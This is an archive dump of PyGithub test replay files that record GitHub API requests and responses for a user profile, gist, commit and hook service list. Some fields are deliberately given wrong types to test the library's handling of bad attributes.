{"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":"Kevin L. Mitchell","company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"foobar","updated_at":42,"public_gists":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadSimpleAttribute.txt0000644000175100001660000000432614756101563026104 0ustar00runnerdockerhttps GET api.github.com None /users/klmitch {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '678fcfc5-140a-4d38-be2f-09ebbd8bb58d'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:21:32 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"login":"klmitch","id":686398,"avatar_url":"https://2.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":42,"company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"2011-03-23T15:42:09Z","updated_at":"2013-09-11T19:26:25Z","public_gists":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadSimpleAttributeInList.txt0000644000175100001660000000231014756101563027216 0ustar00runnerdockerhttps GET api.github.com None /hooks/activecollab {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'fd44f8b6-d47d-44c5-a365-cd7bf9569c88'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '191'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:31:46 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"name":"activecollab","events":["push", 42],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadTransformedAttribute.txt0000644000175100001660000000430514756101563027134 0ustar00runnerdockerhttps GET api.github.com None /users/klmitch {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'b66ca3c7-84f9-455a-9db8-3df385fc7b32'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1254'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 11 Sep 2013 19:26:25 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"6c1c41cdc34b6a47b3ee2a765cc51310"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 08:45:34 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378976739')] {"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User","name":"Kevin L. Mitchell","company":"Rackspace","blog":null,"location":"San Antonio, TX","email":"kevin.mitchell@rackspace.com","hireable":false,"bio":null,"public_repos":29,"followers":15,"following":18,"created_at":"foobar","updated_at":42,"public_gists":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadTransformedAttributeInDict.txt0000644000175100001660000000547014756101563030233 0ustar00runnerdockerhttps GET api.github.com None /gists/6437766 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '8131a430-28c1-45bb-a5b7-09fcdabc5dc7'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '2933'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 12 Sep 2013 00:23:35 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"b3954ac942969f1e10c24ec5b5ec04d3"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:25:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] {"url":"https://api.github.com/gists/6437766","forks_url":"https://api.github.com/gists/6437766/forks","commits_url":"https://api.github.com/gists/6437766/commits","id":"6437766","git_pull_url":"https://gist.github.com/6437766.git","git_push_url":"https://gist.github.com/6437766.git","html_url":"https://gist.github.com/6437766","files":{"test.py":42},"public":true,"created_at":"2013-09-04T14:30:47Z","updated_at":"2013-09-04T14:30:48Z","description":"Test script for https://github.com/jacquev6/PyGithub/issues/194","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://1.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/6437766/comments","forks":[],"history":[{"user":null,"version":"5aa7a28e0a1dc6acf5a70de66e189f73f01735f4","committed_at":"2013-09-04T14:30:47Z","change_status":{"total":24,"additions":24,"deletions":0},"url":"https://api.github.com/gists/6437766/5aa7a28e0a1dc6acf5a70de66e189f73f01735f4"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testBadTransformedAttributeInList.txt0000644000175100001660000001054414756101563030261 0ustar00runnerdockerhttps GET api.github.com None /repos/klmitch/turnstile/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '205eb9ed-a173-47a2-b670-16ec266adef5'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '6111'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 01 May 2013 19:03:50 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"50a14a79f7095a8d4fed16d05a4b1412"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:09:25 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] {"sha":"38d9082a898d0822b5ccdfd78f3a536e2efa6c26","commit":{"author":{"name":"Kevin L. Mitchell","email":"kevin.mitchell@rackspace.com","date":"2013-05-01T19:03:50Z"},"committer":{"name":"Kevin L. Mitchell","email":"kevin.mitchell@rackspace.com","date":"2013-05-01T19:03:50Z"},"message":"Ignore empty configuration values for extra database arguments\n\nTurnstile's functionality to allow the control daemon and the\ncompactor daemon to use different Redis configuration provides\none problem: values that are set in the \"[redis]\" section are\ninherited by all sections, even when that is not desired. To\ncombat this, we now allow an empty value to completely delete\nthe key from the redis configuration in Config.get_database().","tree":{"sha":"83b8ab73bedb67846b47533d1bac7767ac325dc8","url":"https://api.github.com/repos/klmitch/turnstile/git/trees/83b8ab73bedb67846b47533d1bac7767ac325dc8"},"url":"https://api.github.com/repos/klmitch/turnstile/git/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","comment_count":0},"url":"https://api.github.com/repos/klmitch/turnstile/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","html_url":"https://github.com/klmitch/turnstile/commit/38d9082a898d0822b5ccdfd78f3a536e2efa6c26","comments_url":"https://api.github.com/repos/klmitch/turnstile/commits/38d9082a898d0822b5ccdfd78f3a536e2efa6c26/comments","author":{"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"committer":{"login":"klmitch","id":686398,"avatar_url":"https://1.gravatar.com/avatar/3c505225c6f28a7702b318a991141495?d=https%3A%2F%2Fidenticons.github.com%2Ffffa0f2e30bad5753edbb60f250b7cbe.png","gravatar_id":"3c505225c6f28a7702b318a991141495","url":"https://api.github.com/users/klmitch","html_url":"https://github.com/klmitch","followers_url":"https://api.github.com/users/klmitch/followers","following_url":"https://api.github.com/users/klmitch/following{/other_user}","gists_url":"https://api.github.com/users/klmitch/gists{/gist_id}","starred_url":"https://api.github.com/users/klmitch/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/klmitch/subscriptions","organizations_url":"https://api.github.com/users/klmitch/orgs","repos_url":"https://api.github.com/users/klmitch/repos","events_url":"https://api.github.com/users/klmitch/events{/privacy}","received_events_url":"https://api.github.com/users/klmitch/received_events","type":"User"},"parents":[42],"stats":{"total":9,"additions":7,"deletions":2},"files":[]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/BadAttributes.testIssue195.txt0000644000175100001660000007120514756101563023707 0ustar00runnerdockerhttps GET api.github.com None /hooks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'beb27389-3e55-40c9-b2e7-718b4f647721'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '28297'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 04 Sep 2013 18:03:57 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"678dd8e392d70d3a284c3d47221ec6f0"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 12 Sep 2013 09:34:49 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378980564')] [{"name":"activecollab","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","token"],["string","project_id"],["string","milestone_id"],["string","category_id"]]},{"name":"acunote","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"agilebench","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","project_id"]]},{"name":"agilezen","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","project_id"],["string","branches"]]},{"name":"amazonsns","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","aws_key"],["string","aws_secret"],["string","sns_topic"],["string","sqs_queue"],["password","aws_secret"]]},{"name":"apiary","events":["push"],"supported_events":["push"],"schema":[["string","branch"],["string","domain"]]},{"name":"apoio","events":["issues"],"supported_events":["issues"],"schema":[["string","subdomain"],["string","token"]]},{"name":"appharbor","events":["push"],"supported_events":["push"],"schema":[["string","application_slug"],["string","token"]]},{"name":"apropos","events":["commit_comment","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_id"]]},{"name":"asana","events":["push"],"supported_events":["push"],"schema":[["string","auth_token"],["string","restrict_to_branch"],["boolean","restrict_to_last_commit"]]},{"name":"backlog","events":["push"],"supported_events":["push"],"schema":[["string","api_url"],["string","user_id"],["password","password"]]},{"name":"bamboo","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","build_key"],["string","username"],["password","password"]]},{"name":"basecamp","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","project"],["string","category"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"bcx","events":["push","pull_request","issues"],"supported_events":["issues","pull_request","push"],"schema":[["string","project_url"],["string","email_address"],["password","password"]]},{"name":"blimp","events":["issues","issue_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_url"],["string","username"],["string","goal_title"],["password","api_key"]]},{"name":"boxcar","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"buddycloud","events":["push"],"supported_events":["push"],"schema":[["string","buddycloud_base_api"],["string","username"],["string","password"],["string","channel"],["password","password"],["boolean","show_commit_summary"],["boolean","show_commit_detail"]]},{"name":"bugherd","events":["issues","issue_comment","push"],"supported_events":["issue_comment","issues","push"],"schema":[["string","project_key"]]},{"name":"bugly","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","account_name"],["string","token"]]},{"name":"bugzilla","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","username"],["string","integration_branch"],["password","password"],["boolean","central_repository"]]},{"name":"campfire","events":["push","pull_request","issues"],"supported_events":["gollum","issues","public","pull_request","push"],"schema":[["string","subdomain"],["string","room"],["string","token"],["string","sound"],["boolean","master_only"],["boolean","play_sound"],["boolean","long_url"]]},{"name":"cia","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["boolean","long_url"],["boolean","full_commits"]]},{"name":"circleci","events":[["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"]],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"codeclimate","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"codeportingcsharp2java","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","repo_key"],["string","target_repo_key"],["string","codeporting_username"],["password","codeporting_password"],["string","github_access_token"]]},{"name":"codeship","events":["push"],"supported_events":["push"],"schema":[["string","project_uuid"]]},{"name":"coffeedocinfo","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"conductor","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"coop","events":["push"],"supported_events":["push"],"schema":[["string","group_id"],["string","token"]]},{"name":"copperegg","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","tag"],["boolean","master_only"],["string","api_key"]]},{"name":"cube","events":["push"],"supported_events":["push"],"schema":[["string","domain"],["string","project"],["string","token"]]},{"name":"depending","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"deployhq","events":["push"],"supported_events":["push"],"schema":[["string","deploy_hook_url"],["boolean","email_pusher"]]},{"name":"devaria","events":["push","member","public","issues","gollum"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","project_name"],["string","username"],["string","user_class_id"]]},{"name":"docker","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[]},{"name":"ducksboard","events":["push","issues","fork","watch"],"supported_events":["fork","issues","push","watch"],"schema":[["string","webhook_key"]]},{"name":"email","events":["push"],"supported_events":["public","push"],"schema":[["string","address"],["password","secret"],["boolean","send_from_author"]]},{"name":"firebase","events":["push"],"supported_events":["push"],"schema":[["string","firebase"],["string","secret"]]},{"name":"fisheye","events":["push"],"supported_events":["push"],"schema":[["string","url_base"],["string","token"],["string","repository_name"]]},{"name":"flowdock","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"fogbugz","events":["push"],"supported_events":["push"],"schema":[["string","cvssubmit_url"],["string","fb_repoid"],["string","fb_version"]]},{"name":"freckle","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","project"],["string","token"]]},{"name":"friendfeed","events":["push"],"supported_events":["push"],"schema":[["string","nickname"],["string","remotekey"]]},{"name":"gemini","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_key"]]},{"name":"gemnasium","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"]]},{"name":"geocommit","events":["push"],"supported_events":["push"],"schema":[]},{"name":"getlocalization","events":["push"],"supported_events":["push"],"schema":[["string","project_name"],["string","project_token"]]},{"name":"gitlive","events":["push"],"supported_events":["push"],"schema":[]},{"name":"grmble","events":["push"],"supported_events":["push"],"schema":[["string","room_api_url"],["string","token"]]},{"name":"grouptalent","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"grove","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["push"],"schema":[["string","channel_token"]]},{"name":"habitualist","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hakiri","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"]]},{"name":"hall","events":["commit_comment","gollum","issues","issue_comment","pull_request","push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","room_token"]]},{"name":"harvest","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","username"],["password","password"],["boolean","ssl"]]},{"name":"hipchat","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"],["string","room"],["string","restrict_to_branch"],["boolean","notify"],["boolean","quiet_fork"],["boolean","quiet_watch"],["boolean","quiet_comments"]]},{"name":"hostedgraphite","events":["push"],"supported_events":["push"],"schema":[["string","api_key"]]},{"name":"hubcap","events":["push"],"supported_events":["push"],"schema":[]},{"name":"hubci","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"humbug","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","push","team_add","watch","pull_request_review_comment","status"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","email"],["string","api_key"],["string","stream"],["string","branches"]]},{"name":"icescrum","events":["push"],"supported_events":["push"],"schema":[["string","base_url"],["string","project_key"],["string","username"],["password","password"]]},{"name":"irc","events":["push","pull_request"],"supported_events":["commit_comment","issue_comment","issues","pull_request","pull_request_review_comment","push"],"schema":[["string","server"],["string","port"],["string","room"],["string","nick"],["string","branch_regexes"],["string","nickserv_password"],["password","password"],["boolean","ssl"],["boolean","message_without_join"],["boolean","no_colors"],["boolean","long_url"],["boolean","notice"]]},{"name":"irker","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","branch"],["string","module"],["string","channels"],["boolean","long_url"],["boolean","color"],["boolean","full_commits"]]},{"name":"ironmq","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"ironworker","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"],["string","project_id"],["string","queue_name"]]},{"name":"jabber","events":["push"],"supported_events":["push"],"schema":[["string","user"]]},{"name":"jaconda","events":["commit_comment","download","fork","fork_apply","gollum","issues","issue_comment","member","public","pull_request","push","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","subdomain"],["string","room_id"],["string","room_token"],["boolean","digest"]]},{"name":"jeapie","events":["push","pull_request","commit_comment"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","token"]]},{"name":"jenkins","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_hook_url"]]},{"name":"jenkinsgit","events":["push"],"supported_events":["push"],"schema":[["string","jenkins_url"]]},{"name":"jira","events":["push"],"supported_events":["push"],"schema":[["string","server_url"],["string","api_version"],["string","username"],["password","password"]]},{"name":"jqueryplugins","events":["push"],"supported_events":["push"],"schema":[]},{"name":"kanbanery","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"kickoff","events":["push"],"supported_events":["push"],"schema":[["string","project_id"],["string","project_token"]]},{"name":"leanto","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"lechat","events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","webhook_url"]]},{"name":"lighthouse","events":["push"],"supported_events":["push"],"schema":[["string","subdomain"],["string","project_id"],["string","token"],["boolean","private"],["boolean","send_only_ticket_commits"]]},{"name":"lingohub","events":["push"],"supported_events":["push"],"schema":[["string","project_token"]]},{"name":"loggly","events":["push"],"supported_events":["push"],"schema":[["string","input_token"]]},{"name":"mantisbt","events":["push"],"supported_events":["push"],"schema":[["string","url"],["string","api_key"]]},{"name":"masterbranch","events":["push"],"supported_events":["push"],"schema":[]},{"name":"mqttpub","events":["push"],"supported_events":["push"],"schema":[["string","broker"],["string","port"],["string","topic"],["string","clientid"],["string","user"],["password","pass"],["boolean","retain"]]},{"name":"nma","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"nodejitsu","events":["push"],"supported_events":["push"],"schema":[["string","username"],["password","password"],["string","branch"],["string","endpoint"],["boolean","email_success_deploys"],["boolean","email_errors"]]},{"name":"notifo","events":["push"],"supported_events":["push"],"schema":[["string","subscribers"]]},{"name":"ontime","events":["push"],"supported_events":["push"],"schema":[["string","ontime_url"],["string","api_key"]]},{"name":"pachube","events":["push"],"supported_events":["push"],"schema":[["string","api_key"],["string","feed_id"],["string","track_branch"]]},{"name":"packagist","events":["push"],"supported_events":["push"],"schema":[["string","user"],["string","token"],["string","domain"]]},{"name":"phraseapp","events":["push"],"supported_events":["commit_comment","create","delete","download","follow","fork","fork_apply","gist","gollum","issue_comment","issues","member","public","pull_request","pull_request_review_comment","push","status","team_add","watch"],"schema":[["string","auth_token"]]},{"name":"pivotaltracker","events":["push"],"supported_events":["push"],"schema":[["string","token"],["string","branch"],["string","endpoint"]]},{"name":"planbox","events":["push"],"supported_events":["push"],"schema":[["string","token"]]},{"name":"planio","events":["push"],"supported_events":["push"],"schema":[["string","address"],["string","project"],["string","api_key"]]},{"name":"prowl","events":["push"],"supported_events":["push"],"schema":[["string","apikey"]]},{"name":"puppetlinter","events":["push"],"supported_events":["push"],"schema":[]},{"name":"pushalot","events":["push"],"supported_events":["push"],"schema":[["string","authorization_token"]]},{"name":"pushover","events":["push"],"supported_events":["p